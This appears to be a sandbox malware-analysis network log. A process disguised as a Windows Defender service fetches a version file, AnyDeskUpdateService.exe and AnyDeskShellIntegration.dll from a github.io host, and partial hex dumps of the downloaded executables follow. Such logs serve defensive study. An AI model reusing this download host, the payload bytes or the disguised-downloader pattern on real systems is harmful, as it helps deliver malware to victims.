2024-09-29 00:26:02 UTC	1378	IN	Data Raw: b2 77 0f 76 c9 97 c9 b2 73 ca df cb b2 83 5d f2 b5 53 1b cc b2 79 cd 6f c9 97 7c ed ce b2 74 1b cf b2 65 d0 b2 6d 76 c9 97 7c d1 b2 33 d2 b2 32 d3 fb 38 d8 b5 0f d4 b2 63 1b d5 8b d6 83 5d fb 20 bf d7 b2 2e 1b d8 fb b5 0f 76 ed d9 b2 78 1b da 37 db b2 20 1b b0 83 5d f2 dc b2 2f dd fb de 53 b8 f6 41 70 df db e0 b2 61 1b e1 81 5c fb 60 2f e2 b2 6b 1b e3 e4 da 07 c5 e4 7f e5 b2 6c 1b e6 07 c1 c1 0e e7 fb e8 4f e9 81 1c ec da b2 66 1b ea 53 eb 20 07 bb f6 ec b2 54 1b ed 53 ee 07 c3 41 70 ef 33 f0 f3 f1 10 5d fb 60 6f f2 b2 41 1b f3 07 b8 f6 c1 71 f4 5f f5 b2 44 1b f6 86 83 e1 a0 0f f7 67 f8 4b 5c f2 b5 0f f9 b2 55 1b fa b2 70 fb c5 41 71 70 0b fc 0f fd 47 83 e8 60 07 fe df ff af 92 af 7d b0 00 37 01 b2 72 1b 02 b2 76 0e 8e 83 e1 03 2f 04 43 05 60 07 d1 c1 8b Data Ascii: wvs]Syo\|temv\|328c] .vx7 ]/SApa\`/klOfS TSAp3]`oAq_DgK\UpAqpG`}7rv/C`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49714	185.199.110.153	443	2128	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:26:09 UTC	61	OUT	GET /file/version.txt HTTP/1.1 Host: duy-thanh.github.io
2024-09-29 00:26:09 UTC	753	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18 Server: GitHub.com Content-Type: text/plain; charset=utf-8 permissions-policy: interest-cohort=() x-origin-cache: HIT Last-Modified: Fri, 13 Sep 2024 00:51:35 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "66e38c97-12" expires: Sun, 29 Sep 2024 00:36:09 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: F769:2C7B00:2B3C52C:300D5F2:66F89EA1 Accept-Ranges: bytes Age: 0 Date: Sun, 29 Sep 2024 00:26:09 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740046-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1727569570.538904,VS0,VE12 Vary: Accept-Encoding X-Fastly-Request-ID: 6b776334eaaa2a021264795acfaec39ed588632a
2024-09-29 00:26:09 UTC	18	IN	Data Raw: 76 65 72 73 69 6f 6e 3d 32 30 32 34 30 39 31 33 0d 0a Data Ascii: version=20240913

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49715	185.199.110.153	443	2128	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:26:10 UTC	74	OUT	GET /file/AnyDeskUpdateService.exe HTTP/1.1 Host: duy-thanh.github.io
2024-09-29 00:26:10 UTC	758	IN	HTTP/1.1 200 OK Connection: close Content-Length: 161792 Server: GitHub.com Content-Type: application/octet-stream permissions-policy: interest-cohort=() x-origin-cache: HIT Last-Modified: Fri, 13 Sep 2024 00:51:35 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "66e38c97-27800" expires: Sun, 29 Sep 2024 00:36:10 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: AAC3:C0BC3:2A99413:2F6A54C:66F89EA1 Accept-Ranges: bytes Age: 0 Date: Sun, 29 Sep 2024 00:26:10 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740073-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1727569570.140885,VS0,VE18 Vary: Accept-Encoding X-Fastly-Request-ID: 68be8d24789bf086768f140fab71435d11973ddc
2024-09-29 00:26:10 UTC	1378	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 83 5c ce c7 c7 3d a0 94 c7 3d a0 94 c7 3d a0 94 8c 45 a3 95 c2 3d a0 94 8c 45 a5 95 7f 3d a0 94 8c 45 a4 95 d7 3d a0 94 d7 b9 a3 95 cd 3d a0 94 d7 b9 a4 95 d6 3d a0 94 d7 b9 a5 95 96 3d a0 94 8c 45 a1 95 ce 3d a0 94 c7 3d a1 94 43 3d a0 94 8f b8 a9 95 c6 3d a0 94 8f b8 5f 94 c6 3d a0 94 c7 3d 37 94 c6 3d a0 94 8f b8 a2 95 c6 3d a0 94 52 69 63 68 c7 3d a0 94 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$\===E=E=E====E==C==_==7==Rich=
2024-09-29 00:26:10 UTC	1378	IN	Data Raw: 98 0e 6d 51 2c 5c bf 6c d6 1a 1e 3a 63 18 b1 02 d9 6a 7a aa f8 50 70 f0 8b f1 33 ed ff ee cb 95 d6 b9 6e 6b 36 e2 04 8e 60 4a c9 01 a1 28 73 13 6d 69 f8 aa 02 21 50 09 12 78 0e 14 e0 5b 30 f8 7f 3b cf 77 06 8b c5 74 07 eb 09 b8 7a 2e 20 2c 7e 78 17 cd 9a 35 da 40 08 66 48 08 da 50 23 10 0c 4e 14 1f 40 53 02 b6 47 3b 7a 3c 02 8b c2 6f f5 36 0f 57 22 53 da 8b 6f 07 48 0b 0c 48 08 0f 11 02 d6 83 98 3e c3 61 4f 09 f9 7c 20 5b 7e 51 52 90 d8 3b dd 86 2d b2 04 2d 48 0f 45 c2 41 3f 46 db 7b df 57 c7 4a d7 f4 12 8a 89 01 c5 ff 8b 17 d6 83 c1 9a 01 84 28 f6 c3 01 74 0d ba 18 c5 ba 0f 83 ef cf 22 67 0c 6b da c7 df 5f 3a 53 5a 48 8a 91 84 81 e9 c7 cd 43 53 3f b9 b1 04 c7 41 10 6b 8b 9d 6d f0 89 41 3d 46 f5 65 8b c1 9d d9 8b 0d 4e 5f 36 8d 4c 55 04 f2 43 c3 b7 57 26 Data Ascii: mQ,\l:cjzPp3nk6`J(smi!Px[0;wtz. ,~x5@fHP#N@SG;z<o6W"SoHH>aO\| [~QR;--HEA?F{WJ(t"gk_:SZHCS?AkmA=FeN_6LUCW&
2024-09-29 00:26:10 UTC	1378	IN	Data Raw: 1e ff a7 bc f8 b0 e8 ec 44 ba d2 41 ec d9 c3 80 cf 35 6e bf 68 cb 2e 37 6c 3f c0 6c 5b 96 e6 44 4c 8b 9a 85 c0 74 09 de b8 00 f6 8b 08 ba bf df 78 3b c0 66 70 c4 5e ff 25 75 e6 07 c7 48 0c dd c3 b8 35 c3 3f 15 c6 6b 8e f0 55 57 41 56 a4 b9 b0 7f f7 7f e0 be 1e 45 33 f6 d4 92 0e 9d 4c 39 31 0f 85 11 05 3e 90 62 b9 30 d9 d0 f0 e8 76 b3 0d 41 67 ef 0f 10 59 28 db 75 0d 92 40 a1 f8 ea 59 30 eb ec 1d 98 a8 26 de f3 fe 53 34 36 b7 e7 4c 89 75 bf c6 45 c7 00 0e cf 53 79 ed 4a d7 df 66 44 08 e7 10 ef f7 7c b7 55 da ff 32 07 0f 0e 17 00 9e ff ba 53 5b 64 6f b6 8f f8 52 76 13 5c df 29 b0 7c fd 1b 4d 1f 2e 5e 24 0a 3e 9e 01 bf c8 48 10 66 06 4e a2 37 2e 15 2f c2 65 f0 4d 0f 39 bb 40 9e 03 79 22 ff ff ef e4 39 90 e7 ef df df cf 82 03 79 0e cf bf bf df 70 78 27 1c d0 Data Ascii: DA5nh.7l?l[DLtx;fp^%uH5?kUWAVE3L91>b0vAgY(u@Y0&S46LuESyJfD\|U2S[doRv\)\|M.^$>HfN7./eM9@y"9ypx'
2024-09-29 00:26:10 UTC	1378	IN	Data Raw: 58 24 79 78 90 06 7d c4 1e 01 78 60 6d 3b df ef 78 bb 6a 1c 41 bb 60 29 c8 1e 57 78 12 cc f3 fc 3c 3f 51 78 24 d0 2e 78 35 d4 3f cf cf f3 30 78 18 d8 16 78 3f dc 34 78 3c ed be ff 3c e0 2c 78 27 78 bf 78 95 e4 1c 12 7e bf f7 f3 6d de be 7e 1f e8 11 78 19 50 ec 12 26 78 3e ee 79 ed 3c f0 b0 3d 12 f4 24 78 e7 e7 b5 d3 12 f8 70 26 12 fc 33 78 39 6b f7 7d cd 00 06 2d dc ba 75 95 04 1c 12 28 30 b8 8a f7 df 08 12 25 78 2a 78 b8 5f 30 66 5a 0c 1e cf 7b c3 05 0a 05 af 8f 50 66 41 33 c3 22 0e b9 52 79 2b df 61 78 2d 9a 33 c1 2a 10 62 19 a9 1c 32 86 12 63 72 87 8c 54 0e 14 64 5e 16 95 43 46 2a 65 4a 18 66 91 ca 21 23 36 1a 67 c8 48 e5 90 22 1c 68 0e 0c 72 a4 72 1e 69 fa 8e 20 48 f7 7c 13 af eb 21 c3 22 4d 6b c8 48 77 c8 d7 24 2b 6c c3 39 64 a4 72 26 6d af 28 a9 1c Data Ascii: X$yx}x`m;xjA`)Wx<?Qx$.x5?0xx?4x<<,x'xx~m~xP&x>y<=$xp&3x9k}-u(0%xx_0fZ{PfA3"Ry+ax-3b2crTd^CF*eJf!#6gH"hrri H\|!"MkHw$+l9dr&m(
2024-09-29 00:26:10 UTC	1378	IN	Data Raw: 23 87 ca f8 84 69 dd 20 47 ba cc db 6a df 84 ce 2b 6b 95 d9 21 23 cb d0 83 bc 6c 21 23 dd 21 d2 57 6d a3 ec 90 ca c8 d4 94 6e d6 2b 91 ee 90 ca 80 6f d8 83 70 90 91 ee 90 67 da 2b 71 53 ee 90 ca ec dc 83 44 72 de 57 91 ee 90 91 73 2b e0 2b 74 c2 57 e7 90 17 e2 39 e4 0a 0e 79 b9 3c f9 09 6c 58 0b 20 fc 1c 78 25 8c 13 0e 5e 0e a0 12 7d 0e 76 7d cf f3 f3 28 64 0e 78 2c 6b 27 30 b5 bb c0 ff 12 7c 0e 6f 0e 41 bf 4b 0e 8a 34 1e 12 74 ed 2e db ef 32 38 12 70 0e 7b 32 bc 4f 3c 1e 12 56 b6 1f ba 6c 1e bd 51 40 5e 0e 67 1e b8 41 b9 6c ed 5c 44 12 43 1e b9 43 48 76 be df db 12 49 0e bb 4c 1c 41 bb 49 29 4c 1e bd ef f9 bd 4c bc 50 12 58 0e 68 54 51 5f 12 58 7d ef bb e0 f9 1c 41 be 55 5b 5c 1e 55 a4 ba 44 76 be b7 f3 1d 60 12 5a 0e bf 57 1d 64 12 bf 07 6e f7 50 0e b8 Data Ascii: #i Gj+k!#l!#!Wmn+opg+qSDrWs++tW9y<lX x%^}v}(dx,k'0\|oAK4t.28p{2O<VlQ@^gAl\DCCHvILAI)LLPXhTQ_X}AU[\UDv`ZWdnP
2024-09-29 00:26:10 UTC	1378	IN	Data Raw: 18 38 a4 ca 21 23 95 1a 39 90 1c 37 e0 90 91 3a 7c 1e 55 20 a0 01 07 2c 1e 36 d0 ed 34 60 06 c1 18 55 00 08 16 f6 cf f3 73 eb 15 b5 15 9a 12 cd 15 a4 08 ae fc 3c 3f cf 15 93 0c 95 15 98 10 92 15 89 fc dc fa f3 14 8c 15 5c 16 8e 12 52 16 7b fe cf f3 f3 1c 70 16 70 20 60 16 6b 16 41 bb 34 16 f9 de ae 01 53 24 1e 12 3a 16 bf 3a 1d 28 fb b6 df fb 55 16 4b 50 2c 12 65 16 75 50 bd 49 33 30 1e f7 7b 4e dc 49 70 64 12 7c ac 41 be 42 33 79 7e af dd 38 1e 12 7a 32 3c 12 76 16 78 40 7d cf e5 f9 79 16 5f 44 6c 48 6f 7d 78 2e 97 e7 12 4c 69 50 77 54 7e ef b2 3d 45 4e aa bf 4e 58 1e 7e 32 41 bc 53 be df db f9 1f 5c 12 40 16 ba 40 1c 41 ba 44 29 60 df 1f bc 76 12 52 7c 64 09 06 16 bb 4d 31 68 f3 ed b6 76 1c 12 46 7a b8 46 5d b9 47 2b 6c e8 15 8a b6 12 2c 16 5e 16 2b 75 Data Ascii: 8!#97:\|U ,64`Us<?\R{pp `kA4S$::(UKP,euPI30{NIpd\|AB3y~8z2<vx@}y_DlHo}x.LiPwT~=ENNX~2AS\@@AD)`vR\|dM1hvFzF]G+l,^+u
2024-09-29 00:26:10 UTC	1378	IN	Data Raw: db 0c df 66 46 20 bd 48 39 54 1e 16 95 4a 39 7d 0f 8e e0 4c 6d 50 bd 71 4c 9d 54 e1 1e 7c cd 29 7c 56 43 58 4d 6a 6e a3 dd f7 c0 7c 56 2b 5e 0a 26 05 3e d0 59 d8 b7 b7 6a 59 05 28 04 92 91 69 99 2f 23 64 97 19 99 64 64 66 87 68 77 91 49 46 26 6a 67 6c 99 64 64 92 57 6e 47 70 49 46 26 19 37 72 27 64 64 92 91 74 17 76 07 23 87 1c 99 78 f7 69 7a e7 32 c9 c8 24 7c d7 7e 93 8c 4c 32 c7 80 b7 82 6d c3 b4 0d 3f 23 84 3f 23 36 4c db 30 86 3f 23 88 3f c3 b4 0d d3 23 8a 3f 23 8c 3f 4c db 30 6d 23 8e 3f 23 90 b4 0d d3 36 3f 23 92 3f 23 db 30 6d c3 94 3f 23 96 3f 23 86 63 37 4c 98 3f 68 23 9a 3f 98 b6 61 da 23 9c 3f 23 9e 69 1b a6 6d 3f 23 a0 3f 23 b6 61 da 86 a2 3f 23 a4 3f 23 1b a6 6d 98 a6 3f 23 a8 3f 61 da 86 69 23 aa 3f 23 ac a6 6d 98 b6 3f 23 ae 3f 23 b0 da 86 Data Ascii: fF H9TJ9}LmPqLT\|)\|VCXMjn\|V+^&>YjY(i/#dddfhwIF&jglddWnGpIF&7r'ddtv#xiz2$\|~L2m?#?#6L0?#?#?#?L0m#?#6?#?#0m?#?#c7L?h#?a#?#im?#?#a?#?#m?#?ai#?#m?#?#
2024-09-29 00:26:10 UTC	1378	IN	Data Raw: 99 92 91 85 23 3c 86 47 2e 53 32 05 3e 87 e7 56 64 e4 72 24 40 88 c9 94 8c 5c a6 42 89 ab 99 92 91 cb 44 8a 8d 46 2e 53 32 72 8b 6f 48 8c c8 65 4a 46 51 4a 8d 19 b9 4c c9 33 4c 8e 15 92 23 97 29 4e 8f f7 55 53 32 72 39 50 90 d9 52 bd 2d 37 42 81 54 37 cf 8c 03 99 e4 4b d7 90 0c 58 9a 42 13 c8 90 0c ba e7 70 13 1f 9a 13 df 2c 22 01 2c 35 5e cc 7f 2b 72 01 7b 2f 5c 2e f6 5d 74 5b d5 2b 76 d4 c5 72 e9 85 78 01 ff 2f 5e ec 03 de 7a 16 bb da 8b d3 33 7c 01 62 cf d0 d5 29 7e 22 d2 29 06 b6 fc f0 80 01 6f 2b 54 33 82 72 64 4a 46 13 84 fb 53 32 25 23 47 86 e3 88 25 23 53 32 cb 8a b3 23 53 32 32 8c 9b 8e 83 f0 5a 37 25 90 16 b0 92 01 65 90 2a d6 5d d8 5c 9b e0 96 c6 09 e1 6a ba de d2 3d 57 57 c0 33 5f 54 09 64 9e 57 6c 55 74 1e 84 06 94 a4 37 5e eb a4 82 b4 04 bc Data Ascii: #<G.S2>Vdr$@\BDF.S2roHeJFQJL3L#)NUS2r9PR-7BT7KXBp,",5^+r{/\.]t[+vrx/^z3\|b)~")o+T3rdJFS2%#G%#S2#S22Z7%e*]\j=WW3_TdWlUt7^
2024-09-29 00:26:10 UTC	1378	IN	Data Raw: 04 0a 16 4e 04 84 3a 58 bc ee cf 1b 8b 2b 44 8d 82 1b 44 2a 54 ed e1 e0 ae 8d 8f 60 0c 10 e1 c4 03 6f d3 8e 1c c8 1e 03 42 f0 69 05 d2 9a 4a c0 fc 90 ef cf 81 50 09 e0 d1 91 27 00 07 13 df 74 9e 9a ad 15 81 7c 92 f0 55 ae ac bc b4 b8 00 fc 00 05 35 b6 04 3b a8 a5 46 f0 b5 04 93 55 d0 a5 f5 26 fc 33 c9 ff 15 59 86 69 6b fd 04 26 19 ad c1 69 38 e4 cc 58 c0 ff ff b1 43 b2 54 41 b0 40 41 b1 45 41 b2 5d b3 56 40 b7 53 9b 61 2c e0 8a c3 ae 8c 10 c0 41 3c 4f fb ed 32 c3 88 4c 71 41 8d 43 01 30 0e 72 02 73 f3 3c cf f3 03 74 04 75 05 cf f3 3c cf 76 06 77 07 78 08 3c cf f3 3c 79 09 7a 0a 7b f3 3c cf f3 0b 7c 0c 7d 0d bf ff 3c cf 7e 0e 7f 0f 32 c8 88 4d 80 10 10 32 d0 a6 79 ff e7 88 55 81 11 44 32 c0 44 88 45 82 14 12 c8 ff d9 34 cf 4d 83 13 d0 55 84 14 32 d8 88 5d Data Ascii: N:X+DD*T`oBiJP't\|U5;FU&3Yik&i8XCTA@AEA]V@Sa,A<O2LqAC0rs<tu<vwx<<yz{<\|}<~2M2yUD2DE4MU2]
2024-09-29 00:26:10 UTC	1378	IN	Data Raw: 73 cf 12 1e 88 13 56 d0 7b 83 21 36 60 94 14 bd 84 13 01 81 f6 3d 7c 68 22 e0 3e 7d 06 69 b8 59 b8 f7 b7 da f4 12 d9 d1 d3 d8 04 78 cd 0a c1 38 cd c0 93 14 c6 ad b2 76 cd 55 c6 cb 14 76 81 9d 63 28 15 3e b0 03 80 22 02 a3 52 b4 97 ef b4 38 ac b0 b5 d8 75 3b 22 82 5f bb cb a6 bc b3 d8 74 0c 3c 7a c9 68 a5 4d be 69 b3 71 21 5b 68 1d 5d c3 24 e0 4d 47 37 8b c4 e0 0a 01 bd 76 55 81 c4 37 5d e7 5f 7b bb 87 89 0d 1e b3 15 20 0a 44 c0 25 0c 83 f9 b2 6d 77 ed 02 75 0c a8 06 14 01 eb 14 16 fa d7 c1 1a 6c b8 dd 34 04 74 1b 08 01 74 16 c0 72 b7 23 f0 6c fb 9a e1 32 ae 0e 64 1a eb 0a 52 dc d7 6b ac bb cb 83 72 f9 d7 ba 0d ff 25 83 a0 4b 48 c0 3c 5f 81 05 b0 e0 e0 45 fb b4 fc b9 03 6e f7 3e 02 97 75 2c 68 ac 9f 15 8e 58 81 e1 bd d3 16 84 43 39 4a a2 80 54 24 e0 c4 7c Data Ascii: sV{!6`=\|h">}iYx8vUvc(>"R8u;"_t<zhMiq![h]$MG7vU7]_{ D%mwul4ttr#l2dRkr%KH<_En>u,hXC9JT$\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49717	185.199.110.153	443	2128	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:26:10 UTC	77	OUT	GET /file/AnyDeskShellIntegration.dll HTTP/1.1 Host: duy-thanh.github.io
2024-09-29 00:26:11 UTC	757	IN	HTTP/1.1 200 OK Connection: close Content-Length: 54784 Server: GitHub.com Content-Type: application/octet-stream permissions-policy: interest-cohort=() x-origin-cache: HIT Last-Modified: Fri, 13 Sep 2024 00:51:35 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "66e38c97-d600" expires: Sun, 29 Sep 2024 00:36:11 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: 7470:11D1CA:291C61D:2DED7D8:66F89EA2 Accept-Ranges: bytes Age: 0 Date: Sun, 29 Sep 2024 00:26:11 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740049-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1727569571.017791,VS0,VE21 Vary: Accept-Encoding X-Fastly-Request-ID: 28491f51a49b73e41d58b986cb30543cadff6f25
2024-09-29 00:26:11 UTC	1378	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 74 6e 1d 65 30 0f 73 36 30 0f 73 36 30 0f 73 36 7b 77 70 37 35 0f 73 36 7b 77 76 37 b6 0f 73 36 7b 77 77 37 3a 0f 73 36 20 8b 70 37 39 0f 73 36 20 8b 77 37 3e 0f 73 36 20 8b 76 37 10 0f 73 36 7b 77 72 37 33 0f 73 36 30 0f 72 36 69 0f 73 36 78 8a 7a 37 32 0f 73 36 78 8a 8c 36 31 0f 73 36 30 0f e4 36 31 0f 73 36 78 8a 71 37 31 0f 73 36 52 69 63 68 30 0f 73 36 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$tne0s60s60s6{wp75s6{wv7s6{ww7:s6 p79s6 w7>s6 v7s6{wr73s60r6is6xz72s6x61s6061s6xq71s6Rich0s6
2024-09-29 00:26:11 UTC	1378	IN	Data Raw: b0 7f 0d 3c 40 32 c2 25 b8 7f 30 5f c3 ff c8 89 05 bc 18 19 20 16 1f be 87 df 4a b4 75 33 3a 54 ff f4 09 dc 83 be ed 60 dd 25 32 17 00 c6 33 d2 54 cf 6a 1c 16 b0 ff 16 a1 d8 29 84 8b c3 eb a6 80 81 de f0 df b6 66 c4 82 58 20 4c 89 40 18 89 50 9b 48 08 56 57 1b 86 b7 11 9c 40 dc f0 8b fa 9e 05 75 fe 1f 6d f7 0f 39 15 3c 7f 7f 07 96 1e 3e 8d 42 ff 83 f8 01 77 ff 86 c3 d6 9e b0 74 4d 62 05 8d 58 01 eb 08 ff 15 3e dc 15 da dc df 0f 32 d4 30 85 db cf 03 34 d3 ed 0c 1b 2c 8b d7 29 71 00 3c 1a 44 9f 35 0e 49 c0 4e fd 7f 1a 83 ff 01 33 5f 73 dd 75 36 4f 32 1b be 1b 32 61 b2 39 9c 63 f6 4c 41 48 73 00 7b b3 0d 7b 74 0e 23 76 65 85 ff 74 05 3e 6c 77 02 7b 03 75 3c 71 74 25 39 c6 e0 ad 93 6d c3 06 10 27 3e 26 b5 eb 68 1e 0a ef 06 33 db 07 28 80 78 40 1e 96 51 58 b3 Data Ascii: <@2%0_ Ju3:T`%23Tj)fX L@PHVW@um9<>BwtMbX>204,)q<D5IN3_su6O22a9cLAHs{{t#vet>lw{u<qt%9m'>&h3(x@QX
2024-09-29 00:26:11 UTC	1378	IN	Data Raw: b8 40 83 04 df ae b9 03 2d de b1 37 b9 50 b7 f6 41 b8 d0 04 10 cb fc 0e 47 e0 86 d9 2c 55 61 9d e8 3f 95 d8 de 08 98 70 1c 17 41 43 19 b1 d8 c3 ea 47 3c d1 8d e0 1d 24 af b7 69 59 d5 dc 8d e8 18 d7 b1 27 ba 58 59 08 20 64 0a 5a 7b 0d 1e e7 85 c8 04 d2 03 66 88 41 8c b6 d8 14 8b 98 cb 17 c1 86 fd 33 85 88 00 96 31 34 d8 ce d1 6d 60 c7 03 50 15 16 07 54 01 db 6f 03 2d dc 0e 53 27 3e 8d 44 50 b3 db f7 13 3d 8d 45 f0 08 48 1c a9 d4 69 c0 d4 61 b6 40 0a 96 7a 0d 65 78 8b 50 d8 bb 8d e3 02 5a 9c 24 d0 49 e8 b3 60 29 30 c4 5d c3 fb e4 7e 70 13 1c 1d eb 55 c5 3d e4 06 be db e7 a8 f4 55 fb 06 49 8c d6 a3 c3 61 a7 49 5f 3b df 72 e9 95 8b 3b 21 43 72 72 bf b8 50 7a 06 be 08 4f c2 2c 43 30 02 87 ce 26 55 f3 ef 10 fe 5b e3 ad 7b de 0f a2 44 d6 02 d2 41 81 f2 69 6e 65 Data Ascii: @-7PAG,Ua?pACG<$iY'XY dZ{fA314m`PTo-S'>DP=EHia@zexPZ$I`)0]~pU=UIaI_;r;!CrrPzO,C0&U[{DAine
2024-09-29 00:26:11 UTC	1378	IN	Data Raw: 35 c9 80 63 9d 78 48 8b ff e2 d3 07 2f bc 7d d4 34 07 50 58 eb 52 39 1a 74 82 04 8b 0b 5d 52 3a d2 4f 8d 42 45 6a b1 dd 2e 58 eb f6 33 63 02 6d c1 b6 2e b4 8d df 10 7c 16 4c 63 4a 26 63 26 9d 0c 09 06 6f 2c dc 0b 04 0a cf c1 a7 c0 c3 cc d7 b7 f6 bb 03 8b 39 5a 81 3f 52 43 43 e0 52 07 4d 4f 3a f6 af 34 0a da 74 22 eb 13 74 83 78 83 2d 62 97 a6 7e 08 0a 88 30 e3 dd b3 19 1c 33 c0 e5 94 89 78 48 5b 8c 54 0b 66 21 e8 33 b8 2d 90 e2 25 4b 45 b8 1f 85 91 60 94 0f 8f 89 70 db 74 78 d3 18 44 52 10 49 c7 c1 62 31 13 7c 29 44 08 49 11 7a 33 c3 d5 a7 0b 3f ad ce c1 15 7e 1c 89 b1 18 b0 7a c2 74 23 69 89 8e d9 09 be fb 3b 48 10 72 06 05 08 76 07 b9 0d da 49 2f 54 38 bc af 8d af 8c 20 7d 01 18 33 b6 72 28 93 05 8d 0a a3 0d fc 84 8b 8b 0d 74 6c 4d f9 ff e5 3d 65 b6 5d Data Ascii: 5cxH/}4PXR9t]R:OBEj.X3cm.\|LcJ&c&o,9Z?RCCRMO:4t"tx-b~03xH[Tf!3-%KE`ptxDRIb1\|)DIz3?~zt#i;HrvI/T8 }3r(tlM=e]
2024-09-29 00:26:11 UTC	1378	IN	Data Raw: 61 18 10 bc 95 82 c0 6e 18 a7 3f 40 60 73 45 42 e0 c0 13 68 87 05 2c d8 92 a3 4b 60 ff 45 a8 c9 80 17 68 0f 88 40 0d 34 1c 68 37 70 e9 68 20 52 5c 27 59 08 43 4a 08 92 3d 58 a4 45 4b 8b 5d 38 40 2e da a2 c1 7a 4f 0a cf 5a 89 96 6e 8a 11 59 03 50 60 e1 88 90 d2 17 07 c3 75 8d 34 20 fb 7d 0a d2 2e 30 2d f4 aa a7 8b 74 1b 48 4a 02 f8 a7 20 8a ad 6e f0 42 c2 3d 1b d4 99 49 83 14 c6 b7 57 af 4d 86 c6 05 84 ff c8 a1 98 7b e0 d3 d6 90 2b c6 9f 1c ae 2d 85 08 de 1d 8f bd b0 4d 3b c1 11 a6 8b 75 3c 9c f7 b0 26 df 1e db 1e 63 0b 2b de 22 ed eb 6b 48 bc f7 98 02 c1 ad b6 13 50 22 cf 61 00 08 ae 0e 12 77 f0 a5 c4 00 8d 75 7e 7f 81 fb 97 70 0d 2e 57 75 2d 44 8d 43 07 25 83 52 31 d8 dc dc d6 cc 96 cc 56 a2 98 ab 16 cc 3d b7 37 d8 66 b7 5d 46 10 c6 af 6b d3 87 84 7b b1 Data Ascii: an?@`sEBh,K`Eh@4h7ph R\'YCJ=XEK]8@.zOZnYP`u4 }.0-tHJ nB=IWM{+-M;u<&c+"kHP"awu~p.Wu-DC%R1V=7f]Fk{
2024-09-29 00:26:11 UTC	1378	IN	Data Raw: 02 9c ee 49 5a 83 60 1a 0f 33 b0 33 d1 55 ac 15 f7 0b 34 80 ae 6d 3a 52 c7 27 e2 aa 27 be 31 72 97 dd 76 6c 2a 46 de 45 c8 03 7d c0 e0 27 5d c8 da 90 55 09 e0 1a 7f ea 08 df b6 0c 84 86 09 26 85 8b 85 a1 8d 55 05 db 42 45 c7 e1 e0 53 ce 4a ed b6 7a 43 6f c6 70 18 14 32 6e 6f 4b d5 13 cf c1 03 73 d8 08 04 7e c0 be f0 fe a6 ce 4d d0 3b 45 f8 0f 83 40 67 7d d8 66 49 4e 2d 74 d4 16 fb 4d 38 8b fe d5 36 01 df 4e 63 50 10 41 81 0c 80 b6 68 d0 de 68 66 98 04 8a 41 46 ca 97 7a db 05 43 00 10 26 b8 45 7a 45 a8 77 ad ae a1 41 4a 8f 44 78 87 11 48 c1 e8 e0 c6 ec 56 3f 3b f0 11 70 4e 08 bd 2d 36 5b fd e4 74 1d 37 98 21 ae 83 27 d0 e9 90 2a 26 68 2b a4 57 ac db 12 b8 81 4b 4a 81 5a 45 10 5a d8 6e 3b 18 4b 6c c0 04 87 51 0c 48 c2 f6 cd 2d fb 91 70 18 14 b4 2c 10 eb 31 Data Ascii: IZ`33U4m:R''1rvlFE}']U&UBESJzCop2noKs~M;E@g}fIN-tM86NcPAhhfAFzC&EzEwAJDxHV?;pN-6[t7!'&h+WKJZEZn;KlQH-p,1
